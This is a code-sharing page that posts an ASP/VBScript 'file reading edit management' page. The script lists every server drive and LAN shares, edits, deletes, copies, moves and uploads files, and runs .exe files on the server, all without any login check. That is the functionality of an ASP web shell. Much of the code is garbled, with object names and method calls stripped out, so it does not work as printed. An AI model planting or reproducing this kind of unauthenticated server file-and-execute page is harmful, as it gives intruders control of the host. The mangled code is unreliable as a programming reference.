SoFunction
Updated on 2025-04-13

File Reading Edit Management

<%
urlpath="http://"&("SERVER_NAME")
dim cpath,lpath
set fsoBrowse=CreateObject("")
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if (cpath)then
Set theFolder=(cpath)
Set theSubFolders=
"<a href='?path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>Return to the previous directory</font></a><br>"
"<table border='0' width='100%' cellpadding='0'>"
For Each x In theSubFolders
"<tr><td width='50%'><a href='?path="&lpath&&"&oldpath="&Request("path")&"&attrib="&attrib&"'>└<font color='#FF8000'>■</font> "&&"</a> </td>"
"<td><a href=# onclick=javascript:('@spath=" & (lpath) & "" & () & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>Delete</a></td>"
"<td><a href=# onclick=javascript:('@spath=" & (lpath) & "" & () & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>Movement</a></td>"
"<td><a href=# onclick=javascript:('@spath=" & (lpath) & "" & () & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>Copy</a><br></td></tr>"
Next
"</table>"
end if
End Sub

Sub GetFile()
dim theFiles
if (cpath)then
Set theFolder=(cpath)
Set theFiles=
"<table border='0' width='100%' cellpadding='0'>"
For Each x In theFiles
if Request("attrib")="true" then
showstring="<strong>"&&"</strong>"
else
showstring="<a href=# onclick=javascript:('"&urlpath&lpath&()&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><strong>"&&"</strong></a>"
end if
if right(,4)=".exe" or right(,4)=".EXE" then
showstring=showstring&"</td><td width='10%'><A href=# onclick=javascript:('@filename="&lpath&&"&action=execute','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color=red>Execute</font></a></td>"
else
showstring=showstring&"</td><td width='10%'></td>"
end if
"<tr><td width='20%'><font color='#FF8000'>□</font>"&showstring&"<td width='15%' align='right'>"&&"byte</td><td width='45%'><a href='#' title='"&"type: "&&chr(10)&"attribute: "&&chr(10)&"time: "&&"'><font color='#FF8000' >?</font>attribute</a><a href=# onclick=javascript:('@path="&(lpath)&()&"&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >∝</font>View</a><a href=# onclick=javascript:('@path="&(lpath)&()&"&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >∝</font>Edit</a><a href=# onclick=javascript:('@path="&(lpath)&()&"&op=del&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>Delete</a><a href=# onclick=javascript:('@spath=" & (lpath) & "" & () & "&aim=files','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >+</font>Copy</a><a href=# onclick=javascript:('@spath="&(lpath)&()&"&aim=files"&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >+</font>Move</a></td></tr>"
Next
end if
"</table>"
End Sub
%>
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title></title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
<style>
<!--
table{ font-family: font-family; font-size: 9pt }
a{ font-family: Stick; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: Stick; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>
<script language="JavaScript">
function crfile(ls)
{if (ls==""){alert("Please enter the file name!");}
else {('?attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}
return false;
}
function crdir(ls)
{if (ls==""){alert("Please enter the file name!");}
else {('?attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}
return false;
}
</script>
<script language="vbscript">
sub rmdir(ls)
if confirm("Do you really want to delete this directory?"&Chr(13)&Chr(10)&"Directory is: "&ls) then
("?path="&ls&"&op=del&attrib=<%=request("attrib")%>")
end if
end sub
sub copyfile(sfile)
dfile=InputBox("※File Copy※"&Chr(13)&Chr(10)&"Source file: "&sfile&Chr(13)&Chr(10)&"Enter the file name of the target file: "&Chr(13)&Chr(10)&"[Allow with paths, according to your current path mode]")
dfile=trim(dfile)
attrib="<%=request("attrib")%>"
if dfile<>"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib<>"true" then
alert "Sorry, you cannot use absolute paths in relative path mode"&Chr(13)&Chr(10)&"Error path: ["&dfile&"]"
exit sub
end if
else
lp="<%=lpath%>"
end if
("?path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile)
else
alert "You did not enter the file name!"
end If
end sub
</script>
<body>
<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#FFFFFF" cellspacing="0">

<tr>
<td width="100%" bgcolor="#C0C0C0" colspan="2">※Switch to the corresponding drive letter: <span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%
For Each thing in
"◎<a href='?path="&&":&attrib=true'>"&&":</a>"
NEXT
%> </span><br>
[If the disk does not exist on the server, then things will not be displayed. You can also change the PATH value on the URL to another path, supporting LAN addresses, such as: "\\pc01\c"]</td>
</tr>
<tr>
<td width="100%" bgcolor="#C0C0C0" colspan="2">※<%
if Request("attrib")="true" then
"<a href=''>Switch to relative path editing mode</a>"
else
"<a href='?attrib=true'>Switch to absolute path editing mode</a>"
end if
%> ※Absolute path:<span
style="background-color: rgb(255,255,255)"><%=cpath%></span></td>
</tr>
<tr>
<td width="100%" bgcolor="#C0C0C0" colspan="2">※Current directory<font color="#FF8000">■</font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> <br>
※Upload the file to the current directory<font color="#FF8000">■</font>:<span style="background-color: rgb(255,255,255)"><a href=../?filepath=<%=(cpath)%> target=_blank>Upload the file (the file size should not exceed 500K)</a></span>
</td>
</tr><form name="newfile"
onSubmit="return crfile();">
<tr><td bgcolor="#C0C0C0" colspan="2">〖File〗 Note: Only text editing is allowed|<input type="text" name="filename" size="20"><input
type="submit" value="new file"><input type="button" value="new directory" onclick="crdir()">
</td>
</tr></form>
<tr>
<td width="40%" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>
</td>
<td width="60%" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>
</td>
</tr>
</table>

</body>
</html>